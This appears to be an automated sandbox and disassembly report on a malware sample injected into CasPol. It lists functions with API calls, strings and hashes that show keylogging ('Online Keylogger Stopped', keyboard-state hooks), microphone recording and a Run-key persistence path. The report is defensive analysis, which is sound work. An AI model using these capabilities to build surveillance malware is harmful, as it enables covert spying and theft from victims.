                                                                                    Function 004488F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetStdHandle.KERNEL32(000000F6), ref: 00448943
                                                                                    • GetFileType.KERNEL32 ref: 00448955
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileHandleType
                                                                                    • String ID: O_
                                                                                    • API String ID: 3000768030-1745128243
                                                                                    • Opcode ID: ccc95ea5b6d1fe52f093f2cf044264499b4e41becef1697495b2cca3fae492d0
                                                                                    • Instruction ID: e72e3a163d38be5f7a7623f46eac45f8fe04114c14e2a7ad6025d4c7bfa50cde
                                                                                    • Opcode Fuzzy Hash: ccc95ea5b6d1fe52f093f2cf044264499b4e41becef1697495b2cca3fae492d0
                                                                                    • Instruction Fuzzy Hash: D41145B1508F524AE7304E3D8C8863BBA959756330B380B2FD5B6867F1CF28D886954B
                                                                                    Function 0043AC30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID: O_
                                                                                    • API String ID: 269201875-1745128243
                                                                                    • Opcode ID: ab4389abe84a9301dcadbb9ccd069f082c0c66e14c7f47a2c6cddb86090153ea
                                                                                    • Instruction ID: 8090df87744a04f370904591f18fafe20db4d8262e12f9b5c6200b5f8240d2d1
                                                                                    • Opcode Fuzzy Hash: ab4389abe84a9301dcadbb9ccd069f082c0c66e14c7f47a2c6cddb86090153ea
                                                                                    • Instruction Fuzzy Hash: C111E671A4030147F7249F2DAC42F563298E755734F25222BF979EB6E0D778C892428E
                                                                                    Function 0041A686 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LocalTime
                                                                                    • String ID: | $%02i:%02i:%02i:%03i
                                                                                    • API String ID: 481472006-2430845779
                                                                                    • Opcode ID: d622afb61c2cb1ab41a02553fe090b68cebd57ba43e85abe14a248f4384d1e5f
                                                                                    • Instruction ID: d205b4ebe2adc0156a37935a73d605e8b5d9817e81284f53efab16a15aec7ece
                                                                                    • Opcode Fuzzy Hash: d622afb61c2cb1ab41a02553fe090b68cebd57ba43e85abe14a248f4384d1e5f
                                                                                    • Instruction Fuzzy Hash: 80114C725082045AC704EBA5D8568AF73E8AB94708F10053FFC85931E1EF38DA84C69E
                                                                                    Function 00419E89 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • PathFileExistsW.SHLWAPI(00000000), ref: 00419EAE
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ExistsFilePath
                                                                                    • String ID: alarm.wav$xIG
                                                                                    • API String ID: 1174141254-4080756945
                                                                                    • Opcode ID: 319363a0a98ecc91b18a03f0251e716ffd11e5954bb7b3f8cb3ebdf27e687e2f
                                                                                    • Instruction ID: 7a4fe07350b1461b8d7cab7706a536354aa1130be6e3c83a2e6414618e768e61
                                                                                    • Opcode Fuzzy Hash: 319363a0a98ecc91b18a03f0251e716ffd11e5954bb7b3f8cb3ebdf27e687e2f
                                                                                    • Instruction Fuzzy Hash: 8B01802060420166C604B676D866AEE77458BC1719F40413FF89A966E2EF6CAEC6C2DF
                                                                                    Function 0040A767 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0040A876: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040A884
                                                                                      • Part of subcall function 0040A876: wsprintfW.USER32 ref: 0040A905
                                                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                    • CloseHandle.KERNEL32(?), ref: 0040A7CA
                                                                                    • UnhookWindowsHookEx.USER32 ref: 0040A7DD
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                                                                    • String ID: Online Keylogger Stopped
                                                                                    • API String ID: 1623830855-1496645233
                                                                                    • Opcode ID: 646206393e16704f2753a74233abb12183abfc7c86e0053c12af51a0f8e1eb29
                                                                                    • Instruction ID: 3c154674506c802d119dc10506b29c5389a087cae46ba36945c53301bfe6088f
                                                                                    • Opcode Fuzzy Hash: 646206393e16704f2753a74233abb12183abfc7c86e0053c12af51a0f8e1eb29
                                                                                    • Instruction Fuzzy Hash: CC01D431A043019BDB25BB35C80B7AEBBB59B45315F80407FE481225D2EB7999A6C3DB
                                                                                    Function 00448763 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00444ACC: EnterCriticalSection.KERNEL32(-00471558,?,0044225B,00000000,0046DAC0,0000000C,00442216,0000000A,?,?,00448739,0000000A,?,00446F74,00000001,00000364), ref: 00444ADB
                                                                                    • DeleteCriticalSection.KERNEL32(00470090,?,?,?,?,0046DCA8,00000010,0043AD15), ref: 004487C5
                                                                                    • _free.LIBCMT ref: 004487D3
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CriticalSection$DeleteEnter_free
                                                                                    • String ID: O_
                                                                                    • API String ID: 1836352639-1745128243
                                                                                    • Opcode ID: 70fd0d90dafa84e5954845fa7c0139c51f18b2004160b2b9a8cec1cc6ebfe676
                                                                                    • Instruction ID: 80ff6b1ebb5c52940da2afcd5602a1ef1f033d169bf7bf1965dfa6e3099da3c5
                                                                                    • Opcode Fuzzy Hash: 70fd0d90dafa84e5954845fa7c0139c51f18b2004160b2b9a8cec1cc6ebfe676
                                                                                    • Instruction Fuzzy Hash: 6E1179359002059FE724DF99D842B5C73B0EB08729F25415AE865AB2B2CB38E8828B0D
                                                                                    Function 004016E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • waveInPrepareHeader.WINMM(?,00000020,?), ref: 00401747
                                                                                    • waveInAddBuffer.WINMM(?,00000020), ref: 0040175D
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: wave$BufferHeaderPrepare
                                                                                    • String ID: T=G
                                                                                    • API String ID: 2315374483-379896819
                                                                                    • Opcode ID: ed973bd8c39c0a7b185882100a87dfb7002c9bb2a5c1b7b6d1ae35d6c30925d6
                                                                                    • Instruction ID: f8644d152c35c587af506687758c025c54344a6e575747702fe1289d7b8da532
                                                                                    • Opcode Fuzzy Hash: ed973bd8c39c0a7b185882100a87dfb7002c9bb2a5c1b7b6d1ae35d6c30925d6
                                                                                    • Instruction Fuzzy Hash: 65018B71301300AFD7209F39EC45A69BBA9EB4931AF01413EB808D32B1EB34A8509B98
                                                                                    Function 00447790 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • IsValidLocale.KERNEL32(00000000,j=D,00000000,00000001,?,?,00443D6A,?,?,?,?,00000004), ref: 004477DC
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LocaleValid
                                                                                    • String ID: IsValidLocaleName$j=D
                                                                                    • API String ID: 1901932003-3128777819
                                                                                    • Opcode ID: 700326c1a2573b6664808296cb94fd2409df718d2f56e2bd6c09d2c4f197ce31
                                                                                    • Instruction ID: d075984350fdfa8650c9f53b231b8a0b142c4dacf6ed37e79753978632a381d4
                                                                                    • Opcode Fuzzy Hash: 700326c1a2573b6664808296cb94fd2409df718d2f56e2bd6c09d2c4f197ce31
                                                                                    • Instruction Fuzzy Hash: B7F0E930A45218F7EA116B61DC06F5EBB54CF49B11F50407AFD056A293CB796D0195DC
                                                                                    Function 00401D91 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: H_prolog
                                                                                    • String ID: T=G$T=G
                                                                                    • API String ID: 3519838083-3732185208
                                                                                    • Opcode ID: ece060f59eec47038b163f6730b9b4774a9df75ced3df6c836fae2af045d366e
                                                                                    • Instruction ID: 37a3980bbf64332544f5ef03d086655580814226aad47650f393c0c18fea351b
                                                                                    • Opcode Fuzzy Hash: ece060f59eec47038b163f6730b9b4774a9df75ced3df6c836fae2af045d366e
                                                                                    • Instruction Fuzzy Hash: BCF0E971A00220ABC714BB65C80669EB774EF41369F10827FB416B72E1CBBD5D04D65D
                                                                                    Function 00442A84 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID: xm_
                                                                                    • API String ID: 269201875-2384771445
                                                                                    • Opcode ID: e0c07418694881cfdc192a5642d2fc592dcbedec7190f7d1bd2a6cce8c9e4082
                                                                                    • Instruction ID: f0cf83c002af9be10e85dbd72a17715ce9ce30914f7b4b99b2350c0725a7183d
                                                                                    • Opcode Fuzzy Hash: e0c07418694881cfdc192a5642d2fc592dcbedec7190f7d1bd2a6cce8c9e4082
                                                                                    • Instruction Fuzzy Hash: 8CE0222260291130F23A623F6D0676B06458BC233CF19032BF825F62D1EFAC884395AE
                                                                                    Function 0040AD56 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetKeyState.USER32(00000011), ref: 0040AD5B
                                                                                      • Part of subcall function 00409B10: GetForegroundWindow.USER32 ref: 00409B3F
                                                                                      • Part of subcall function 00409B10: GetWindowThreadProcessId.USER32(00000000,?), ref: 00409B4B
                                                                                      • Part of subcall function 00409B10: GetKeyboardLayout.USER32 ref: 00409B52
                                                                                      • Part of subcall function 00409B10: GetKeyState.USER32(00000010), ref: 00409B5C
                                                                                      • Part of subcall function 00409B10: GetKeyboardState.USER32(?), ref: 00409B67
                                                                                      • Part of subcall function 00409B10: ToUnicodeEx.USER32 ref: 00409B8A
                                                                                      • Part of subcall function 00409B10: ToUnicodeEx.USER32 ref: 00409BE3
                                                                                      • Part of subcall function 00409D58: SetEvent.KERNEL32(?,?,?,0040AF3F,?,?,?,?,?,00000000), ref: 00409D84
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                                                                                    • String ID: [AltL]$[AltR]
                                                                                    • API String ID: 2738857842-2658077756
                                                                                    • Opcode ID: 80506e14bf35cdfd57388ac48183fdf9bd6fb207497dbc1ccda1b4521432daf8
                                                                                    • Instruction ID: d2c0c429c9fe13b3c6c970781ecfc4970ab7400740a1dec538c1fc9fef0a0b20
                                                                                    • Opcode Fuzzy Hash: 80506e14bf35cdfd57388ac48183fdf9bd6fb207497dbc1ccda1b4521432daf8
                                                                                    • Instruction Fuzzy Hash: 47E0652134072117C898323EA91E6EE3A228F82B65B80416FF8866BAD6DD6D4D5053CB
                                                                                    Function 00448803 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _free.LIBCMT ref: 00448825
                                                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(0000000A,?,0044FA50,0000000A,00000000,0000000A,00000000,?,0044FCF4,0000000A,00000007,0000000A,?,00450205,0000000A,0000000A), ref: 00446AED
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorFreeHeapLast_free
                                                                                    • String ID: `@$`@
                                                                                    • API String ID: 1353095263-20545824
                                                                                    • Opcode ID: 9a963da6b0d453c70d37714207bd95daf40472698ea915a46c6a843fe12f4396
                                                                                    • Instruction ID: 46705ffcfacdd7a720b29fb61e5cb4af2d59a6418439a2947ca99394172970e0
                                                                                    • Opcode Fuzzy Hash: 9a963da6b0d453c70d37714207bd95daf40472698ea915a46c6a843fe12f4396
                                                                                    • Instruction Fuzzy Hash: B9E06D761006059F8720DE6DD400A86B7E4EF95360320852AE89DE3310DB32E812CB40
                                                                                    Function 0040ADB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetKeyState.USER32(00000012), ref: 0040ADB5
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: State
                                                                                    • String ID: [CtrlL]$[CtrlR]
                                                                                    • API String ID: 1649606143-2446555240
                                                                                    • Opcode ID: d3bfbbd6b4e89cd63980a9ff1b49381952101389b4aa81d5fd12017d0c3b90ad
                                                                                    • Instruction ID: 615b7dbe40c0b8188db9493e0f2b19f017fb36a74fa458c508a435569d7d4a1e
                                                                                    • Opcode Fuzzy Hash: d3bfbbd6b4e89cd63980a9ff1b49381952101389b4aa81d5fd12017d0c3b90ad
                                                                                    • Instruction Fuzzy Hash: 71E0862170071117C514353DD61A67F39228F41776F80013FF882ABAC6E96D8D6023CB
                                                                                    Function 0041297A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00412986
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DeleteOpenValue
                                                                                    • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                                                    • API String ID: 2654517830-1051519024
                                                                                    • Opcode ID: 37dabd9028f0cede140cc98497e4e15f557d68d096268be44a89a64eb946223e
                                                                                    • Instruction ID: 4813e9247c8a4fa7715124fbb4df20ddc3d96ddce1d5e270e7c0f337b45b5704
                                                                                    • Opcode Fuzzy Hash: 37dabd9028f0cede140cc98497e4e15f557d68d096268be44a89a64eb946223e
                                                                                    • Instruction Fuzzy Hash: 0AE01270310304BFEF104F61ED06FDB37ACBB80B89F004165F505E5191E2B5DD54A658
                                                                                    Function 0043AD08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00448763: DeleteCriticalSection.KERNEL32(00470090,?,?,?,?,0046DCA8,00000010,0043AD15), ref: 004487C5
                                                                                      • Part of subcall function 00448763: _free.LIBCMT ref: 004487D3
                                                                                      • Part of subcall function 00448803: _free.LIBCMT ref: 00448825
                                                                                    • DeleteCriticalSection.KERNEL32(005F4FC8), ref: 0043AD31
                                                                                    • _free.LIBCMT ref: 0043AD45
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$CriticalDeleteSection
                                                                                    • String ID: O_
                                                                                    • API String ID: 1906768660-1745128243
                                                                                    • Opcode ID: 105ba6d038f868bf5ead38a2174c8304849bb37afa14ec3855613d5ccb5e7185
                                                                                    • Instruction ID: c0f14a4ae43bd4c9a132c894413e2ce2621f066976e8a01f329b24b3578183a2
                                                                                    • Opcode Fuzzy Hash: 105ba6d038f868bf5ead38a2174c8304849bb37afa14ec3855613d5ccb5e7185
                                                                                    • Instruction Fuzzy Hash: 3EE0D832C042108BF7247B5DFC469493398DB49725B13006EF81873171CA246CD1864D
                                                                                    Function 0040AF77 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • DeleteFileW.KERNEL32(00000000,?,pth_unenc), ref: 0040AF84
                                                                                    • RemoveDirectoryW.KERNEL32(00000000,?,pth_unenc), ref: 0040AFAF
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DeleteDirectoryFileRemove
                                                                                    • String ID: pth_unenc
                                                                                    • API String ID: 3325800564-4028850238
                                                                                    • Opcode ID: b246b6ffa53a22d2799d5431088e9539915b729032b3d26a74de246411d0112c
                                                                                    • Instruction ID: b68931c7331ddc333ece9e06749e281aefc344294653c9eba2f2de372e339d66
                                                                                    • Opcode Fuzzy Hash: b246b6ffa53a22d2799d5431088e9539915b729032b3d26a74de246411d0112c
                                                                                    • Instruction Fuzzy Hash: FEE046715112108BC610AB31EC44AEBB398AB05316F00487FF8D3A36A1DE38A988CA98
                                                                                    Function 00411699 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • TerminateProcess.KERNEL32(00000000,pth_unenc,0040E670), ref: 004116A9
                                                                                    • WaitForSingleObject.KERNEL32(000000FF), ref: 004116BC
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ObjectProcessSingleTerminateWait
                                                                                    • String ID: pth_unenc
                                                                                    • API String ID: 1872346434-4028850238
                                                                                    • Opcode ID: 0bcc8583bbfeaf574487765c88b71504591df5916e82e2463f0204abfb9b1fb3
                                                                                    • Instruction ID: 4302d9c34f7b4dbdac7fc8682473a51625df35810590c52ad239c14707b44b4b
                                                                                    • Opcode Fuzzy Hash: 0bcc8583bbfeaf574487765c88b71504591df5916e82e2463f0204abfb9b1fb3
                                                                                    • Instruction Fuzzy Hash: C1D0C938559211AFD7614B68BC08B453B6AA745222F108277F828413F1C72598A4AE1C
                                                                                    Function 0044E0EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CommandLine
                                                                                    • String ID: P0\
                                                                                    • API String ID: 3253501508-778493070
                                                                                    • Opcode ID: 2702c5f118dd3839dbc4dd886e2cdb728e5ea39e06e223ea52f31eba807d30e7
                                                                                    • Instruction ID: 13d69598d350970c9b91df73096b24a53109b9b907d0ea4b726438dfa3130670
                                                                                    • Opcode Fuzzy Hash: 2702c5f118dd3839dbc4dd886e2cdb728e5ea39e06e223ea52f31eba807d30e7
                                                                                    • Instruction Fuzzy Hash: 09B0027D8157009FC7419F79BD5D1443BA0B75861339094B5DC19C7B35DA358085EF18
                                                                                    Function 0043FA5E Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401AD8), ref: 0043FAF4
                                                                                    • GetLastError.KERNEL32 ref: 0043FB02
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0043FB5D
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharMultiWide$ErrorLast
                                                                                    • String ID:
                                                                                    • API String ID: 1717984340-0
                                                                                    • Opcode ID: a3a9a9c7793c2081db5377885f607edf127f94d6c053b0090e31d102b176707d
                                                                                    • Instruction ID: ecac45699e256c48587d6f27f66036641a8fb520bb473c9b2adecd150689d728
                                                                                    • Opcode Fuzzy Hash: a3a9a9c7793c2081db5377885f607edf127f94d6c053b0090e31d102b176707d
                                                                                    • Instruction Fuzzy Hash: 65414871E00206AFCF258F65C854ABBFBA4EF09310F1451BAF858973A1DB38AD09C759